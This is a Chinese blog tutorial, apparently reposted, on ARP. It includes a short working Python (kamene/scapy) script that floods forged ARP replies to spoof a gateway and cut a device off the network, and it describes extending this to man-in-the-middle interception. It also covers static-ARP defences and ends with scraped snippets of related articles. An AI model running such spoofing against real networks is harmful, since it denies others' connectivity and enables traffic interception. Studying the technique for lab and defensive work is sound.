Python实现ARP攻击

目录

  • 概述
  • ARP协议
    • IP转MAC
    • 结构
    • ARP扫描
  • 开始欺骗
    • 中间人
  • 其他
    • ARP老化
    • 防御
      • windows
      • linux

概述

高中的时候,学校有一个商店,会放开WIFI给偷偷带手机去学校的我们使用,但是因为人很多的关系,导致每次去下载东西都很慢

那时候,通过百度,知道了WIFI KILLER 这样一款软件,可以让别人上不了网,不过随着各大厂商对系统的升级之后,这个软件就失效了,尤其是这个软件需要root权限,这个在现在多数手机来说已经不可能了。

需要权限的原因就是需要发送原始套接字,但是这个套接字如果交给用户来发的话,太危险了,很容易扰乱底层的协议规则,这就导致必须要一定权限才能发送原始套接字(Windows好像不用)

ARP协议

IP转MAC

参考: https://www.freebuf.com/articles/network/210852.html

ARP 协议是用来从从IP地址查询MAC地址的,所以,一次数据传输可能有这样一个ARP沟通过程

比如,这里我用我笔记本(192.168.2.2) Ping了一下我的手机(192.168.2.5) ,那么数据包就需要知道被发送到那个MAC地址,

  • 我的电脑大声问(广播): 谁是 192.168.2.5?请告诉 192.168.2.2
  • 然后我的手机看到了,就回复我的电脑: 192.168.2.5就是20:f4:78:e6:36:41

然后接下来,数据包就可以发送大MAC地址是20:f4:78:e6:36:41的网卡上了

今天我才发现,我平时高冷的不得了的磊科NW737其实和他的小伙伴们沟通的热火朝天~~
													____底层协议居然如此热闹

结构

来自 wiki 百科

ARP扫描

通过wireShark可以发现,如果我想知道这个局域网中有多少主机,或者想要局域网中所有主机的列表,那么我完全可以发送ARP请求包,对每个IP都询问一下MAC地址,有回应的,就是存活的主机。

这个方法比Ping扫描要稳一点,因为开了防火墙之后,很多电脑是不响应Ping包的

开始欺骗

只要了解了ARP之后,就会发现有空子可以钻,也就是说,当有主机在局域网广播询问MAC地址的时候,直接发送一个错误的响应就好了

甚至,不需要他询问,直接发送响应包即可

  • 代码
from kamene.all import *

eth = Ether()
arp = ARP(
    op="is-at",
    hwsrc = "22:22:22:22:22:22",
    psrc = "192.168.2.1",
    hwdst="20:F4:78:E6:36:41",
    pdst="192.168.2.7"
)
print((eth/arp).show())
sendp(eth/arp,inter=2,loop=1)

这里构造了一个ARP数据包

运行之后可以看到,

  • 首先我的电脑会发送一个广播,询问,谁是192.168.2.7?请告诉192.168.2.2
  • 这时候,我的时候回192.168.2.7就是 20:F4:78:E6:36:41
  • 其实以上步骤不存在都行的,主要是下面部分
  • 在确定了2.7的MAC地址之后,大声的吼: 192.168.2.1的MAC地址是22:22:22:22:22:22
  • 2.7不管,直接接受了这个说法,之后所有的请求都发到了 22:22:22:22:22:22,那当然不会有响应的

中间人

如果把上面的 22:22:22:22:22:22修改成我笔记本的MAC地址,那么我的电脑就会收到如下大量的包

如果我用手机此时打开一个网页 例如 39.106.164.33

那么就能看到,数据包发给了我的电脑,目的MAC是我的电脑,但是因为我的电脑没有对数据包进行相关处理,结果就导致连接失败等等问题

如果,我们能对这些包做出响应,那么就成了名副其实的中间人啦~

其他

ARP老化

ARP表的老化时间

? 不同的系统对ARP表的老化时间设定不太一样,在Windows2000/XP环境中,ARP表项的老化时间是2分钟,95/98以及NT环境下为10分钟,在大部分Cisco交换机中,该值是5分钟,华为的设备一般为20分钟……这些值可以通过系统注册表或设备的某些命令进行设置,具体设置的命令和参数请自行参考相关文档。

ARP表老化时间定时器的重置

? 满足以下任一条件时,设备的ARP表项的老化时间定时器会重置:

1,设备相应的ARP表项更新时;

2.,设备调用(引用)ARP表项转发数据后。

来源: http://www.vants.org/?post=120

防御

windows

管理员身份运行

netsh -c "i i" add neighbors 16 "192.168.2.1" "08-10-79-5f-98-e9"

16 是通过 arp -a命令得到的接口号(下图 0x10 十进制是16),192.168.2.1是IP地址,后面是mac

具体参考: https://blog.csdn.net/weixin_42551781/article/details/88368031

linux

root权限运行

arp -s 192.168.2.1 08-10-79-5f-98-e9

具体参考: https://blog.csdn.net/qq_29663071/article/details/53508319

准备开个新坑,用C++把当年手机上的wifi killer 实现出来,虽然已经有P2P终结者一类的软件了,但是拿来练习STL还是可以的

原文地址:https://www.cnblogs.com/cjdty/p/12642644.html

时间: 2024-10-10 23:24:40

Python实现ARP攻击的相关文章

浅析ARP协议及ARP攻击

一. ARP数据包结构 (1)硬件类型:指明发送方想知道的硬件接口类型,以太网的值为1:(2)协议类型:指明发送方提供的高层协议类型:它的值为 0x0800 即表示 IP地址.(3)硬件地址长度和协议长度: 指明硬件地址和高层协议地址的长度,这样ARP报文就可以在任意硬件和任意协议的网络中使用:对于以太网上IP地址的ARP请求或应答来说,它们的值分别为6和4.(4)op:操作字段用来表示这个报文的类型,ARP请求为1,ARP响应为2,RARP请求为3,RARP响应为4: ARP协议解析过程: 1

Mininet(轻量级软件定义网络和测试平台) 之五(ARP攻击与防范)

Mininet-5 延续上一个实验(mininet-4),本次实验要模拟arp 攻击 以及 如何防治arp攻击 角色 h1 为使用者,不停的去跟h2沟通 h4 为攻击者,企图去窃听h1与h2沟通的资讯 所需安装套件 sudo apt-get install zlib1g zlib1g-dev sudo apt-get install build-essential sudo apt-get install ettercap 注意!!!若上面的安装方式会出现错误,则直接执行下面这行指令: sudo

基于Layer2交换网络的ARP攻击防御

故障现象  客户企业反映"常有部分人不能上网",且毫无规律.经了解整栋大楼物理拓扑结构为"接入-汇聚-网关",整个交换网络工作在二层(Layer2)模式 ,客户端基本采用固定IP,接入层交换机华为二层1700/1720系列,核心汇聚为华为5700 千兆三层(Layer3)交换. 排查步骤 STEP1:搜集 登陆网关(H3C-F1000-c防火墙)查看安全日志,幸运的是很快就发现类似"duplicate ip 192.168.1.1.../ARP"

解决linux ARP攻击

一.知识背景1.什么是arpARP,即地址解析协议,实现通过IP地址得知其物理地址.在TCP/IP网络环境下,每个主机都分配了一个32位的IP地址,这种互联网地址是在网际范 围标识主机的一种逻辑地址.为了让报文在物理网路上传送,必须知道对方目的主机的物理地址.这样就存在把IP地址变换成物理地址的地址转换问题.以以太网 环境为例,为了正确地向目的主机传送报文,必须把目的主机的32位IP地址转换成为48位以太网的地址.这就需要在互连层有一组服务将IP地址转换为相应 物理地址,这组协议就是ARP协议.

信息安全技术实验二 网络扫描实验+ARP攻击

一.实验目的及要求 1. 了解扫描技术的工作原理: 2. 加深对网络底层的理解: 3. 掌握常用扫描工具的基本用法: 4. 学习扫描器程序设计的基本方法.(以后再补充) 二.实验环境及相关情况(包含使用软件.实验设备.主要仪器及材料等) 1.实验设备:微型计算机: 2.软件系统:Windows 7操作系统,Nmap. 三.实验内容 1. Windows平台下Nmap的安装. 2. Windows平台下Nmap的使用. 3. Windows平台下查看本地端口. 4. 端口扫描的防范. 四.实验步骤

网络转载:局域网安全:解决ARP攻击的方法和原理

局域网安全:解决ARP攻击的方法和原理 IT世界网2006-01-26 10:17 [故障原因] 局域网内有人使用ARP欺骗的木马程序(比如:传奇盗号的软件,某些传奇外挂中也被恶意加载了此程序). [故障原理] 要了解故障原理,我们先来了解一下ARP协议. 在局域网中,通过ARP协议来完成IP地址转换为第二层物理地址(即MAC地址)的.ARP协议对网络安全具有重要的意义.通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞. ARP协议是“Address Re

图解ARP协议(二)ARP攻击原理与实践

一.ARP攻击概述 在上篇文章里,我给大家普及了ARP协议的基本原理,包括ARP请求应答.数据包结构以及协议分层标准,今天我们继续讨论大家最感兴趣的话题:ARP攻击原理是什么?通过ARP攻击可以做什么,账号是否可以被窃取?有哪些常见的ARP渗透(攻击)工具可以用来练手?ARP扫描和攻击有什么区别,底层数据包特征是怎样的? 接下来,我们通过图解的方式来深入了解ARP攻击是如何实现的. 二.ARP攻击原理 但凡局域网存在ARP攻击,都说明网络存在"中间人",我们可以用下图来解释. 在这个局

Arp攻击实战

现在网上很多关于ARP攻击的文章,但多数是描述其原理,少数会以某个工具作为例子展开说明,但感觉说的还是不够详细,今天写个文章以实战介绍一个叫“WinArpAttacker”的工具. WinArpAttacker是一个很出名的ARP攻击工具,功能也很强大,没有用过的朋友可以在上网搜一下,下载这里就不提供了.这里先简单介绍一下这工具的基本用法(如果对于ARP攻击原理不熟悉的朋友可以先看看<Arp小记>:>): 1. 首先是下载软件,然后安装(废话...),注意一下:WinArpAttacke

网络名词--“arp攻击”

arp 网络名词--"arp攻击",布布扣,bubuko.com